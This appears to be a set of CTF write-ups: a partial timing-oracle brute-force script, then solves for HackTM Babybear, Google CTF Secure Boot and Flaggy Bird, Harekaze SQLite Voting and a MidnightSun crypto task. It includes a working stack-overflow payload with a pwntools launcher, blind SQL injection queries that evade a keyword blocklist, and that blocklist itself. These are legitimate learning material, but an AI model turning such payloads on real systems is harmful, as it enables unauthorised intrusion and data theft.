        print(flag)
        for c in string.printable:
            r = remote('138.68.67.161', 20001)
            r.recvuntil('>>')
            sploit(r, len(flag), ord(c))
            a = time.time()
            try:
                r.recvuntil('yeet')
            except EOFError:
                pass
            if time.time() - a > 0.8:
                flag += c
                break
            r.close()

HackTM - Babybear

2020-02-04T00:00:00+00:00

Babybear was a simple reversing challenge, and I solved it the hard way by reversing the whole thing.

Download

user@KARCH ~/ctf/bear % ./baby_bear 

  (c).-.(c)    █  █         █         █
   / ._. \     █  █         █         █
 __\( Y )/__   █  ███   ███ ███  █  █ ███   ███   ███ █ ██
(_.-/'-'\-._)  █  █  █ █  █ █  █  ██  █  █ █████ █  █ ██
   || X ||     █  █  █ █  █ █  █  █   █  █ █     █  █ █
 _.' `-' '._   █  ███   ███ ███  █    ███   ███   ███ █
(.-./`-'\.-.)  █
 `-'     `-'   █  Baby bear says: 1110111010010001101111100110000001110000000110

What do you say? AAAAAAAA
1111001100110011001100110011001101000101010101
Baby bear is thinking...

"Someone's been eating my porridge and they ate it all up!" cried the Baby bear.

There is some translation function, which translates input into a sequence of 1s and 0s. The challenge is to find some input which leads to the same sequence as the one babybear got. Bruteforcing is not an option because we neet to proove against the remote server and the secret is a 16Byte value from urandom.

Unpacking

The whole thing is UPX packed, however it would not unpack by using the default UPX tool. So I just started the packed executable in radare2, continued until the text input appears, and took a memory snapshot of the unpacked region. (which is a valid ELF file for itself as well)

[0x004005dd]> dm
0x0000000000400000 - 0x0000000000401000 * usr     4K s r-x /home/user/ctf/bear/baby_bear /home/user/ctf/bear/baby_bear ; map.home_user_ctf_bear_baby_bear.r_x
0x0000000000600000 - 0x0000000000601000 - usr     4K s rwx /home/user/ctf/bear/baby_bear /home/user/ctf/bear/baby_bear ; map.home_user_ctf_bear_baby_bear.rwx
0x0000000000601000 - 0x0000000000602000 - usr     4K s rwx unk0 unk0 ; map.unk0.rwx
0x00007ffc88b21000 - 0x00007ffc88b43000 - usr   136K s rwx [stack] [stack] ; map.stack_.rwx
0x00007ffc88bcd000 - 0x00007ffc88bd0000 - usr    12K s r-- [vvar] [vvar] ; map.vvar_.r
0x00007ffc88bd0000 - 0x00007ffc88bd1000 - usr     4K s r-x [vdso] [vdso] ; map.vdso_.r_x
[0x004005dd]> s 0x0000000000600000
[0x00600000]> dmd
Dumped 4096 byte(s) into 0x00600000-0x00601000-rwx.dmp
[0x00600000]> 

We can now continue working with the unpacked version.

Reversing

Initially my first thought was to just bruteforce byte by byte, as the input seemed to be transformed linear (i.e. leaving the first byte the same leads to the same start of the output sequence). But as the challenge was network based I was afraid of hitting a timeout before I could obain some result. So I started reversing the translation function. As the binary seemed to be handwritten in assembly this was a little painful.

Basically what it does is creating a binary representation of the input bytes in memory. Then it traverses some Graph, where each node consumes one bit of the input. Depending on the input the next node is choosen, and sometimes value(s) are omitted (“1” or “0”, leading to the output sequence). After 46 omitted values the translation function returns.

So what I did was placing brakepoints on all cmpsb byte [rsi], byte ptr [rdi], scasb al, byte [rdi] and lodsb al, byte [rsi] instructions, as well as on the output function. Those are my nodes. Then I took pen and paper and traced the graph for a known input until I reconstructed the whole graph. This was some kind of a sisiphus work and I got mad on every new node, but it must have been worse for the challenge author to construct this task in plain ASM :D

Then, I implemented the graph in Python so I could perform a fast translation. Based on this I did a simple bruteforce search, even had to limitate the amount of states kept to 10 to avoid a combinatorial explosion.

import string


class Graph:
    def __init__(self, data):
        self.path = []
        self.data = data[:]
        self.length = 0x2e

    def finished(self):
        return self.length <= 0 or not self.data

    def emit(self, value):
        self.path.append(value)
        self.length -= 1

    def x366(self, x):
        if x:
            self.emit(1)
            return self.x34d
        self.emit(0)
        return self.x3de

    def x34d(self, x):
        if x:
            return self.x457
        return self.x40b

    def x457(self, x):
        if x:
            self.emit(0)
            return self.x3b0
        return self.x37e

    def x40b(self, x):
        if x:
            self.emit(1)
            self.emit(0)
            return self.x3b0
        self.emit(1)
        return self.x37e

    def x3de(self, x):
        if x:
            self.emit(0)
            return self.x379
        return self.x3e9

    def x3e9(self, x):
        if x:
            return self.x37e
        self.emit(0)
        return self.x470

    def x470(self, x):
        if x:
            self.emit(1)
            return self.x482
        return self.x44c

    def x44c(self, x):
        if x:
            self.emit(0)
            return self.x3c4
        return self.x3c7

    def x482(self, x):
        if x:
            self.emit(0)
            return self.x3c4
        return self.x44c

    def x3c4(self, x):
        if x:
            return self.x3c7
        return self.x366

    def x3c7(self, x):
        if x:
            self.emit(1)
            return self.x366
        self.emit(1)
        return self.x11b

    def x11b(self, x):
        if x:
            return self.x366
        self.emit(0)
        return self.x470

    def x39c(self, x):
        if x:
            self.emit(0)
            return self.x3b0
        self.emit(1)
        return self.x482

    def x3b0(self, x):
        if x:
            self.emit(0)
            return self.x3c4
        return self.x366

    def x37e(self, x):
        if x:
            return self.x39c
        self.emit(1)
        return self.x482

    def x379(self, x):
        if x:
            return self.x40b
        return self.x37e

    def traverse(self):
        current = self.x366
        while not self.finished():
            current = current(self.data.pop(0))
        return self.path


def tobin(key):
    res = ''
    for c in key:
        res += '{:08b}'.format(ord(c))[::-1]
    return [1 if c == '1' else 0 for c in res]


def arrstartswith(arr, pre):
    return arr[:len(pre)] == pre


result = [1 if x == '1' else 0 for x in '0010111111001000100111101111111011000100100100']


states = ['']
for _ in range(12):
    newstates = []
    for state in states:
        newstates += [state + x for x in string.letters]
    states = filter(lambda x: arrstartswith(result, Graph(tobin(x)).traverse()), newstates)[:10]

print(states)

Google CTF Quals 2019 - Secure Boot

2019-06-27T00:00:00+00:00

Challenge overwiew

A x86_64 qemu challenge. However, this time it is about getting it to boot up…

Download

.
├── contents
│   ├── boot.nsh
│   ├── bzImage
│   ├── rootfs.cpio.gz
│   └── startup.nsh
├── OVMF.fd
└── run.py

Running the challenge and doing nothing gives us the following output:

UEFI Interactive Shell v2.2
EDK II
UEFI v2.70 (EDK II, 0x00010000)
Mapping table
      FS0: Alias(s):HD1a1:;BLK3:
          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)/HD(1,MBR,0xBE1AFDFA,0x3F,0xFBFC1)
     BLK0: Alias(s):
          PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x0)
     BLK1: Alias(s):
          PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x1)
     BLK2: Alias(s):
          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)
     BLK4: Alias(s):
          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)

If Secure Boot is enabled it will verify kernel's integrity and
return 'Security Violation' in case of inconsistency.
Booting...
Script Error Status: Security Violation (line number 5)

And execution stops. However, if we enter the “BIOS” by hitting del or F12 we are greeted with the following:

BdsDxe: loading Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
BdsDxe: starting Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
****************************
*                          *
*   Welcome to the BIOS!   *
*                          *
****************************

Password?

This is where the challenge starts.

Pre-Reversing

First of all, I modified the run.py script and added the -s option to qemu (-s ia a shorthand to wait for gdb connections on port 1234). I also removed the console=/dev/null as I want to use the console later on.

Now we can run the challenge until we get to the password input prompt. Once reached, we attach radare2 to it with r2 -D gdb gdb://localhost:1234. Radare will stop the execution. As the program is expecting input from us, we are probably currently in some kind of input routine. A backtrace should lead us to the calling functions.

Printing a backtrace reveals the following:

:> dbt
0x7b30a41          sp: 0x0                 0    [??]  rip r13+8403169
0x7ec22c9          sp: 0x7ec16c8           32   [??]  rsp+3105 
0x7ec5f50          sp: 0x7ec1728           96   [??]  rsp+18600 
0x7ed2fe7          sp: 0x7ec1758           48   [??]  rsp+71999 
0x7ed30c9          sp: 0x7ec1778           32   [??]  rsp+72225 
0x67daf5e          sp: 0x7ec17c8           80   [??]  cr3+108896862 
0x7b90612          sp: 0x7ec1828           96   [??]  rip+392145 
0x67d4d34          sp: 0x7ec18b8           144  [??]  cr3+108871732 
0x7ec5f50          sp: 0x7ec18f8           64   [??]  rsp+18600 
0x7ec8317          sp: 0x7ec1958           96   [??]  rsp+27759 
0x7a7e577          sp: 0x7ec1a28           208  [??]  r13+7672855 

I now went through all the call frames and looked for something interesting (in search for some main loop). At frame 5 I noticed the use of 0xdeadbeefdeadbeef (suspicious). Frame 7 checks a functions result and, depending on the output, calls another function with the string “Blocked” as an argument. Therefore I assumed 0x67dae50 to be our password check routine we are interested in.

0x067d4d2f      e81c610000     call 0x67dae50              ;[1]
0x067d4d34      84c0           test al, al
0x067d4d36      7511           jne 0x67d4d49
0x067d4d38      488d0d1fa100.  lea rcx, [0x067dee5e]       ; u"\nBlocked!\n"
0x067d4d3f      e8b976ffff     call 0x67cc3fd

To confirm this, I placed a breakpoint on the test al, al instruction (db 0x67d4d34) and, once the breakpoint was hit, manually modified the return value from zero to one (dr rax=1). Continuing execution (dc) results in a BIOS menu where I could turn off secure boot and initiate a reboot with the new BIOS settings. As a result, the system would start up normally.

Reversing

As I identified the password input routine, it’s time for reversing (using IDA). First, I dumped the whole guest memory via the qemu monitor (press ctrl+a then c and dump using dump-guest-memory). We get some decompiled and cleaned up pseudocode like this (left some details away for simplicity):

int checkpasswd() {
    uint64_t *hashptr;
    char keybuffer[128];

    hashptr = malloc(32);
    for (int tries=0; tries <= 2; tries++) {
        int i=0;
        for(; i<140; i++) {
            char c = getc();
            if (c == '\r')
                break;
            keybuffer[i] = c;
            print("*");
        }
        keybuffer[i] = '\0';
        /* assumed because of magic constants */
        sha256(32, i, keybuffer, hashptr); 
        if (hashptr[0x00] == 0xdeadbeefdeadbeef &&
            hashptr[0x08] == 0xdeadbeefdeadbeef &&
            hashptr[0x10] == 0xdeadbeefdeadbeef &&
            hashptr[0x18] == 0xdeadbeefdeadbeef)
            return 1;
        print("wrong!");
    }
    return 0;
}

So a classic stack based overflow (128B space vs. 141B usage). We overflow into the hashptr and therefore control where the 32 Bytes of resulting hash are written to. We can use this to bypass the login password check by partially overwriting our own return address. So instead of returning to 0x67d4d34 we want to return to 0x67d4d49, i.e. we need to change the first byte from 0x34 to 0x49. The return address is located at 0x7ec18b8, therefore we need to overwrite the hashptr to point to 0x7ec18b8 - 0x20 + 1 = 0x7ec1899. The payload for this looks like this:

pl = "A" * 136 + struct.pack('<I', 0x07ec1899)

To overwrite the first byte of the return address with controlled data, one can bruteforce possible sha256 hashes. During the ctf due to lazyness I just manually incremented the first char, as the possibility is > 1/256 to hit a valid bypass :) Dirty, but I got a working payload quite fast this way.

pl = "E" + "A" * 135 + struct.pack('<I', 0x07ec1899)

Launching

We now have everything together to launch the exploit against the remote target. The del keycode (0x7f) needs to be escaped (0x1b) and we need to wait some time before we can send it (therefore the recvn(1)).

from pwn import *

r = remote('secureboot.ctfcompetition.com', 1337)

if __name__ == '__main__':
    r.recvn(1)
    r.send('\x1b\x7f')
    r.recvuntil('Password?')
    pl = "E" + "A" * 135 + struct.pack('<I', 0x07ec1899)
    r.send(pl + '\x0d')
    r.interactive()

Launching with socat:

socat /dev/stdin,rawer "SYSTEM:python2 secureboot.py"

This will drop us into the BIOS options. There we need to deselect Device Manager -> Secure Boot Configuration -> Attempt Secure Boot. A reboot will start the machine and allows us to cat the flag.

Google CTF Quals 2019 - Flaggy Bird

2019-06-27T00:00:00+00:00

Challenge overwiew

An Android APK challenge.

Download

We have some kind of jump and run game, our character can walk left/right and jumping is possible as well. If we reach the red flag, the level is completed and a next level starts.

If we unpack the APK (APKs are just ZIP files, I used unzip flaggybird.apk) we can see that there are three zlib compressed levels inside the assets folder. I also noticed a small native library called library.so.

So far there is no clue about where the flag is hidden, and as the game is pretty hard (couldn’t reach level3) we need to get our hands dirty and start looking at the decompiled source.

Reversing

I used jadx for the decompilation of the app (jadx flaggybird.apk). Now, with the (mostly) recovered source, we can start investigation. The Checker.java file was chosen as an interesting startpoint, as it contained AES decoding routines:

class Checker {
    private static final byte[] a = new byte[]{(byte) 46, (byte) 50, ...};
    private static final byte[] b = new byte[]{(byte) -30, (byte) 1, ...};
    private static final byte[] c = new byte[]{(byte) -113, (byte) -47, ...};

    private byte[] a(byte[] bArr, byte[] bArr2) {
        try {
            IvParameterSpec ivParameterSpec = new IvParameterSpec(b);
            SecretKeySpec secretKeySpec = new SecretKeySpec(bArr, "AES");
            Cipher instance = Cipher.getInstance("AES/CBC/PKCS5PADDING");
            instance.init(2, secretKeySpec, ivParameterSpec);
            return instance.doFinal(bArr2);
        } catch (Exception unused) {
            return null;
        }
    }

    public byte[] a(byte[] bArr) {
        if (nativeCheck(bArr)) {
            try {
                if (Arrays.equals(MessageDigest.getInstance("SHA-256").digest(bArr), a)) {
                    return a(bArr, c);
                }
            } catch (Exception unused) {
            }
        }
        return null;
    }

    public native boolean nativeCheck(byte[] bArr);
}

Array a is a sha256 sum, b the IV and c contains encrypted data. We can see that if the native nativeCheck returns true for some bArr, it’s sha256 is compared against a. Only if they match, decryption takes place. So we are looking for a decryption key with the sha256 sum of a. To find the decryption key, we need to find out where bArr comes from and what nativeCheck does.

Eggs And Arrays

The only occurrence of the Checker class is in f.java. There are two interesting methods in this file and a lot of enums.

class f {
    static final a[] a = new a[]{a.EGG_0, a.EGG_1, ..., a.EGG_15};
    ...
    public void a() {
        byte[] bArr = new byte[32];
        for (int i = 0; i < this.l.length; i++) {
            for (int i2 = 0; i2 < a.length; i2++) {
                if (this.l[i] == a[i2]) {
                    bArr[i] = (byte) i2;
                }
            }
        }
        bArr = new Checker().a(bArr);
        if (bArr != null) {
            try {
                this.o = 0;
                a(bArr);
                return;
            } catch (IOException unused) {
                return;
            }
        }
        this.g.a("Close, but no cigar.");
    }

This method is responsible for calling the Checker. Before it does so, it constructs the bArr. The construction looks quite messy, but it just translates enum elements (like a.EGG_0, etc) into a numerical representation. In our case EGG_0 is translated to 0, EGG_1 to 1, etc. Therefore the real “array of interest” for us is l. But what we know so far is, that the bytevalues for bArr are all in the range [0-15], as the a array only contains 16 eggs.

    public void a(int i, int i2) {
        this.l[i] = a[i2];
        int i3 = -1;
        for (int i4 = 0; i4 < this.m.size(); i4++) {
            if (((Integer) this.m.get(i4)).intValue() == i) {
                if (i2 == 0) {
                    i3 = i4;
                } else {
                    return;
                }
            }
        }
        if (i3 != -1) {
            this.m.remove(i3);
        }
        if (i2 != 0) {
            this.m.add(Integer.valueOf(i));
            if (this.m.size() > 15) {
                this.l[((Integer) this.m.remove(0)).intValue()] = a.EGG_0;
            }
        }
    }

This function is called to modify elements of l. It assigns l at position i the value of i2 (as an “EGG_*” enum value, but translated back anyways later as we could see). Also, in the remaining part of the method, it is ensured that there are no more than 15 nonzero eggs inside the l array and that every egg only occurs once! This reduces the possible keyspace further. For example the following keys would be possible:

[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
[3,0,11,0,10,8,0,0,13,1,0,0,12,0,6,9,5,0,0,2,7,0,0,0,0,0,14,0,15,0,4,0]

At this point I stopped the java reversing part.

NativeCheck

I started with throwing library.so into IDAs / ghidras decompiler. I used the ARM library version, as they tend to produce better decompilation results.

bool C(char *bArr)
{
  int v1;
  bool result;
  unsigned char v4[16];

  v1 = 0;
  do {
    v4[v1] = bArr[2 * v1] + bArr[2 * v1 + 1];
    ++v1;
  } while ( v1 != 16 );
  
  p = 0;
  c = 1;
  M(v4, 16);
  return v4[15] < 16 && c != 0;
}

After some Java unwrapping C is called. bArr is compressed down to 16 Bytes by summing up two adjacent bytes, e.g. [x1, x2, x3, x4, …, x32] -> [x1 + x2, x3 + x4, …, x31 + x32]. Afterwards M is called. Apparently the goal is to keep c == 1 during the execution of M. Also, we get another constraint for the possible keyspace with x31 + x32 < 16. Now we get to the main part of the nativeCheck. It is some recursive algorithm which I didn’t bother to look at so closely. The only depency is a boolean array.

Straight outta IDA:

int c = 1;
int p = 0;
int d[] = {0x00000000U, 0x00000000U, 0x00000000U, 0x00000000U, 0x00000001U,
           0x00000000U, 0x00000000U, 0x00000001U, 0x00000000U, 0x00000001U,
           0x00000001U, 0x00000001U, 0x00000001U, 0x00000000U, 0x00000000U,
           0x00000000U, 0x00000001U, 0x00000001U, 0x00000000U, 0x00000000U,
           0x00000001U, 0x00000000U, 0x00000001U, 0x00000000U, 0x00000000U,
           0x00000000U, 0x00000001U, 0x00000001U, 0x00000001U, 0x00000000U,
           0x00000000U, 0x00000000U, 0x00000001U, 0x00000000U, 0x00000000U,
           0x00000000U, 0x00000000U, 0x00000001U, 0x00000001U, 0x00000001U,
           0x00000001U, 0x00000001U, 0x00000000U, 0x00000001U, 0x00000000U,
           0x00000000U, 0x00000000U};

void M(char *dest, int len) {
    size_t middle; // r13
    int halflen; // er12
    char *middleptr; // rbp
    size_t v5; // rbx
    int v6; // er14
    signed int v7; // eax
    char v8; // dl
    size_t v9; // rbp
    char desta[16]; // [rsp+10h] [rbp-48h]
    size_t v12; // [rsp+20h] [rbp-38h]

    if (len >= 2) {
        middle = len >> 1;
        M(dest, len >> 1);
        if (c) {
            halflen = len - middle;
            middleptr = &dest[middle];
            M(&dest[middle], len - middle);
            if (c) {
                if (halflen > 0) {
                    v5 = 0LL;
                    v6 = 0;
                    v7 = 0;
                    while (1) {
                        v8 = middleptr[v6];
                        if (dest[v7] >= v8) {
                            if (dest[v7] <= v8 || d[p]) {
                                c = 0;
                                return;
                            }
                            ++p;
                            desta[v5] = middleptr[v6++];
                        } else {
                            if (d[p] != 1) {
                                c = 0;
                                return;
                            }
                            ++p;
                            desta[v5] = dest[v7++];
                        }
                        ++v5;
                        if (v7 >= (signed int) middle || v6 >= halflen)
                            goto LABEL_17;
                    }
                }
                v7 = 0;
                v6 = 0;
                v5 = 0;
                LABEL_17:
                if (v7 < (signed int) middle) {
                    v9 = (unsigned int) (middle - 1 - v7);
                    memcpy(&desta[(signed int) v5], &dest[v7], v9 + 1);
                    v5 = v5 + v9 + 1;
                }
                if (v6 < halflen) {
                    memcpy(&desta[(signed int) v5], &dest[middle + v6], (unsigned int) (len - 1 - v6 - middle) + 1LL);
                }
                memcpy(dest, desta, len);
            }
        }
    }
}

Solving

As it always takes some time for me to decompile algorithms properly (even tough this looked like a simple one) I decided just to write some small harness and use angr to compute a valid input array for M.

The harness:

int main(int argc, char* argv[]) {
    char buf[16];
    read(0, buf, 16);
    M(buf, 16);
    if (c)
        puts("YAY!");
    return 0;
}

The handy part about doing it this way is, that we only need to define our constraints. I used the following:

Last byte of compressed key < 16 (because of the check in C)
A single byte must be < 30 (14 + 15 = 29 maximum possible value for a byte)
Summed up, all bytes must equal 120 (1+2+3+…+15 = 120)

The constraints from above still do allow for a few values we could have ruled out, but I just tried to keep them simple.

import angr
import claripy

if __name__ == '__main__':
    p = angr.Project('./main', load_options={'auto_load_libs': False})

    sym = claripy.BVS('x', 16 * 8)
    state = p.factory.entry_state(args=[p.filename], stdin=sym)

    state.add_constraints(sym.get_byte(15) < 16)
    for i in range(15):
        state.add_constraints(sym.get_byte(i) < 30)
    state.add_constraints(sum([sym.get_byte(x) for x in range(16)]) == 120)

    ex = p.factory.simulation_manager(state)
    ex.explore(find=lambda s: b"YAY!" in s.posix.dumps(1))
    f = ex.found[0].solver.eval(sym, cast_to=bytes)
    print(list(f))

After less than 15 seconds we get a solution. It is also the only possible solution.

[9, 8, 7, 2, 11, 15, 13, 10, 6, 5, 14, 4, 3, 0, 12, 1]

Now we know the summed up key which M expects. Bruteforcing all possible values and comparing their hashes against the known hash should now be feasible. However I just used Z3 because I didn’t want to write a bruteforcer. The first constraints are the problem definition. The second one requires the key to contain exactly 15 nonzero values. Now we only have to loop until we find our key with the correct hash, constantly adding constraints to exclude already found, non-matching keys.

import hashlib
from z3 import *

arr = [9, 8, 7, 2, 11, 15, 13, 10, 6, 5, 14, 4, 3, 0, 12, 1]
correcthash = "2e325c91c914"


s = Solver()

vec = [BitVec('x{}'.format(x), 4) for x in range(32)]
for i in range(16):
    s.add(vec[i * 2] + vec[i * 2 + 1] == arr[i])

s.add(sum([If(vec[i] != 0, 1, 0) for i in range(32)]) == 15)

while s.check() == sat:
    x = s.model()
    ress = [x[v].as_long() for v in vec]
    s.add(Or([vec[i] != ress[i] for i in range(32)]))
    h = hashlib.sha256()
    h.update(bytes(ress))
    if h.hexdigest().startswith(correcthash):
        print(h.hexdigest())
        print(ress)

In less than 2 minutes I obtained the decryption key.

[9, 0, 0, 8, 0, 7, 2, 0, 0, 11, 0, 15, 13, 0, 10, 0, 6, 0, 0, 5, 14, 0, 0, 4, 0, 3, 0, 0, 12, 0, 1, 0]

After decryption we get a zlib compressed level file. I couldn’t tell the flag from the decompressed content, so I just replaced the first level with it. Then resigning the APK with jarsigner finally leads us to the flag.

Harekaze CTF 2019 - SQLite Voting

2019-05-19T00:00:00+00:00

The challenge consisted of a webpage with four different animal emojis, clicking on one sent a vote for that animal. It was promised that results will be published at the end of the CTF.

We are provided with the database schema which consists of two tables, one for all the votes and one containing the precious flag.

Looking at the provided code we can easily spot an attack vector:

...
$id = $_POST['id'];
...
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
...

The only issue being that $id is filtered using a custom function:

function is_valid($str) {
  $banword = [
    // dangerous chars
    // " % ' * + / < = > \ _ ` ~ -
    "[\"%'*+\\/<=>\\\\_`~-]",
    // whitespace chars
    '\s',
    // dangerous functions
    'blob', 'load_extension', 'char', 'unicode',
    '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
    'in', 'limit', 'order', 'union', 'join'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

So we are not allowed to use whitespace, no functions like char, like or substr that could help us compare strings and they even limited how we can query other tables by blocking union and join.

After playing around with an sqlite shell for a few minutes it became clear that subqueries using something like SELECT(flag)FROM(flag) seemed to be working fine, now we need two things:

A way of actually getting a result back (no query results are returned)
A way of comparing the flag in the database with given values (since we are attacking it completely blind)

Getting a result back was actually quite easy, we can just let sqlite try to interpret the flag as json. Since it has brackets and (hopefully) doesn’t follow correct json syntax that will result in an error which we can’t see but at least are told that something went wrong.

Trying this out we crafted two queries:

(SELECT(JSON(flag))FROM(flag)WHERE(flag)IS(0)) This one succeeded as json(flag) is never executed
(SELECT(JSON(flag))FROM(flag)WHERE(flag)IS(flag)) This one fails as the flag is no valid json string

Now we needed a way to actually get any information about the content… this is where most of the time got spent.

Playing around with the shell a bit more we found that we can convert the flag into hex presentation and that sqlite is using weak typing. Trying out something like SELECT REPLACE("1234", 12, ""); results in 34.

Taking the redacted flag from the given schema (HarekazeCTF{<redacted>}) and converting it into hex results in 486172656b617a654354467b3c72656461637465643e7d. We noticed that there are lot of parts with just digits and no letters 486172656 b 617 a 654354467 b 3 c 72656461637465643 e 7 d, and since we could replace numbers with anything we wanted to we would be able to basically reduce the length of the given hex-string by the number of matches of our replacement.

First we tried to find the length of the flag, that was actually quite easy to do, just probing around with a simple query:

(SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(flag))IS(36)) Thank you for your vote!
(SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(flag))IS(37)) Thank you for your vote!
(SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(flag))IS(38)) An error occured…

So we know the flag is 38 characters long, or 76 hex characters.

Next we probed around for the count of each digit in the hex-flag, here an example for the digit 4 (which was in there 7 times):

(SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(REPLACE(HEX(flag),4,hex(null))))IS(76)) Thank you for your vote!
…
(SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(REPLACE(HEX(flag),4,hex(null))))IS(70)) Thank you for your vote!
(SELECT(JSON(flag))FROM(flag)WHERE(LENGTH(REPLACE(HEX(flag),4,hex(null))))IS(69)) An error occured

Using that information we now were able to piece together parts of the flag by trying number sequences instead of single digits, each time decreasing the length accordingly and adding a digit, if it was correct we’d get an error otherwise we were thanked for our patience.

After getting into the flow this was actually done quite quickly in a few minutes by hand, resulting in the following sequence of numbers and 12 characters ([a-f]) left unknown:

345
34316
34353733727
3137335
35716
37305
62335
486172656
617
654354467
5
6

We knew that the flag would start with HarekazeCTF{ so we quickly determined that 486172656 b 617 a 654354467 b is the start, already giving us the order for 3 of the numbers in the list. Since the flag ends with } (0x7d) we know that we’d need a number with a 7 at the end, which after sorting out the start could only be 34353733727.

After that we had the following numbers left:

345
34316
3137335
35716
37305
62335
5
6

Noticing that most of those numbers (excluding the last digit) resultet in valid ascii and most of them ended with a 5 and 0x5f being an underscore which is often used as a flag separator we quickly filled that in, leaving us only with 3 hex characters and all being prefixed with a 6. Since the flag seemed to be written in l33t-speak and m (0x6d) is one of the characters which is really hard to represent that way, so we picked that sequence to fill in the last gaps.

At that point we had the following list:

486172656B617A654354467B HarekazeCTF{
345F 4_
34316D 5F 41m_ (we moved the 5F from the end here since it fits the pattern of other parts)
3137335F 173_
35716D 5qm
37305F 70_
62335F b3_
5F _
6D m
34353733727 4573r}

Sorting that around we got something like HarekazeCTF{41m_70_b3_4_5qm173_m4573r}, and fixing one of our guesses replacing the m with an l resulted in the flag: HarekazeCTF{41m_70_b3_4_5ql173_m4573r}.

MidnightsunCTF Quals 2019 - tulpan257

2019-04-11T00:00:00+00:00

The following sage script was given:

flag = "XXXXXXXXXXXXXXXXXXXXXXXXX"
p = 257
k = len(flag) + 1

def prover(secret, beta=107, alpha=42):
    F = GF(p)
    FF.<x> = GF(p)[]
    r = FF.random_element(k - 1)
    masked = (r * secret).mod(x^k + 1)
    y = [
        masked(i) if randint(0, beta) >= alpha else
        masked(i) + F.random_element()
        for i in range(0, beta)
    ]
    return r.coeffs(), y

sage: prover(flag)
[141, 56, 14, 221, 102, 34, 216, 33, 204, 223, 194, 174, 179, 67, 226, 101, 79, 236, 214, 198, 129, 11, 52, 148, 180, 49]
[138, 229, 245, 162, 184, 116, 195, 143, 68, 1, 94, 35, 73, 202, 113, 235, 46, 97, 100, 148, 191, 102, 60, 118, 230, 256, 9, 175, 203, 136, 232, 82, 242, 236, 37, 201, 37, 116, 149, 90, 240, 200, 100, 179, 154, 69, 243, 43, 186, 167, 94, 99, 158, 149, 218, 137, 87, 178, 187, 195, 59, 191, 194, 198, 247, 230, 110, 222, 117, 164, 218, 228, 242, 182, 165, 174, 149, 150, 120, 202, 94, 148, 206, 69, 12, 178, 239, 160, 7, 235, 153, 187, 251, 83, 213, 179, 242, 215, 83, 88, 1, 108, 32, 138, 180, 102, 34]

It doesn’t work quite as given - prover() must be given a polynomial, not a string. I figured that this polynomial was probably just using the flag string as coefficients, and just tried to recover that secret polynomial first (under the assumption that it was of degree $k$ ). The r.coeffs() output has length $26$ , so this means that $k=26$ .

Now the hard part was recovering the polynomial masked - if I knew that, I could just multiply by the multiplicative inverse of $r$ in the ring $GF(p)[x]/(x^k+1)$ (which fortunately exists). The known output y is obtained by evaluating masked at the positions $0,1,\ldots,106$ - however, with random chance of $\frac{42}{107}$ , a random output modulo $p$ is chosen instead. I also know that masked is a polynomial of degree $k-1$ - so if I just knew $k$ correct points, I could simply construct the Lagrange Polynomial through these points.

With the output containing errors I had two choices:

Guessing: If I just guess 26 points that had the correct output, I could recover the original polynomial. A quick calculation shows that this has about chance $2\cdot 10^{-6}$ of happening - and it is easy to detect, as some random polynomial through 26 of the points will match y in far less places than the correct one. Having now tried it after the CTF, it works very well.
Using someone elses work: My first instinct however was to search for a more elegant algorithm for the problem. In retrospect, just using brute force would probably have saved me some time - but this variant was at least quite educational.

I knew that problems of the type “given a set of discrete equations, find a solution that satisfies a high number of them” were quite typical for Coding theory, so I started looking at well-known error-correcting codes. After a little reading, the Reed-Solomon Code jumped out to me - Wikipedia gives the codewords of a Reed-Solomon Code as $\{(p(a_1), p(a_2), \ldots, p(a_n))\mid p \text{ is a polynomial over } F \text{ of degree } k\}$ . Setting $n=107, a_i=i-1, k=26, F=GF(p)$ , this is exactly the kind of output we are dealing with. So now I just needed to decode the codeword given to me in y to one that lies in that Reed-Solomon Code. Fortunately, sage has builtin functions for everything:

sage: p, k = 257, 26
sage: F = GF(p)
sage: FF.<x> = F[]
sage: from sage.coding.grs import *
sage: C=GeneralizedReedSolomonCode([F(i) for i in range(107)],26)
sage: D=GRSBerlekampWelchDecoder(C)
sage: D.decode_to_message(vector(y,F))
DecodingError: Decoding failed because the number of errors exceeded the decoding radius
sage: D.decoding_radius()
40

Whoops - it seems there are just a few errors too many in the output for the BerlekampWelchDecoder to handle. All the other decoders seemed to have the same problem… until I somehow managed to find the Guruswami-Sudan decoder. It conveniently takes a parameter tau that specifies (within limits) the number of errors it will be able correct:

sage: from sage.coding.guruswami_sudan.gs_decoder import *
sage: D=GRSGuruswamiSudanDecoder(C,45)
sage: masked=D.decode_to_message(vector(y,F))[0]
sage: masked
136*x^25 + 181*x^24 + 158*x^23 + 233*x^22 + 215*x^21 + 95*x^20 + 235*x^19 + 76*x^18 + 133*x^17 + 199*x^16 + 105*x^15 + 46*x^14 + 53*x^13 + 123*x^12 + 150*x^11 + 28*x^10 + 87*x^9 + 122*x^8 + 59*x^7 + 177*x^6 + 174*x^5 + 200*x^4 + 143*x^3 + 77*x^2 + 65*x + 138

Finally it’s just a matter of multiplying by $r^{-1}$ :

sage: R = FF.quo(x^k+1)
sage: flag = R(masked)*R(r)^(-1)
sage: "".join([chr(i) for i in flag]) # iterates over coefficients
'N0p3_th1s_15_n0T_R1ng_LpN\x00'

Lessons learned

Coding theory has all kinds of useful stuff for “out of n relations, only k hold, but we don’t know which”-type situations
If a builtin function of sage isn’t quite good or general enough, there is probably a better one somewhere
Don’t waste time on elegant solutions if you can just guess

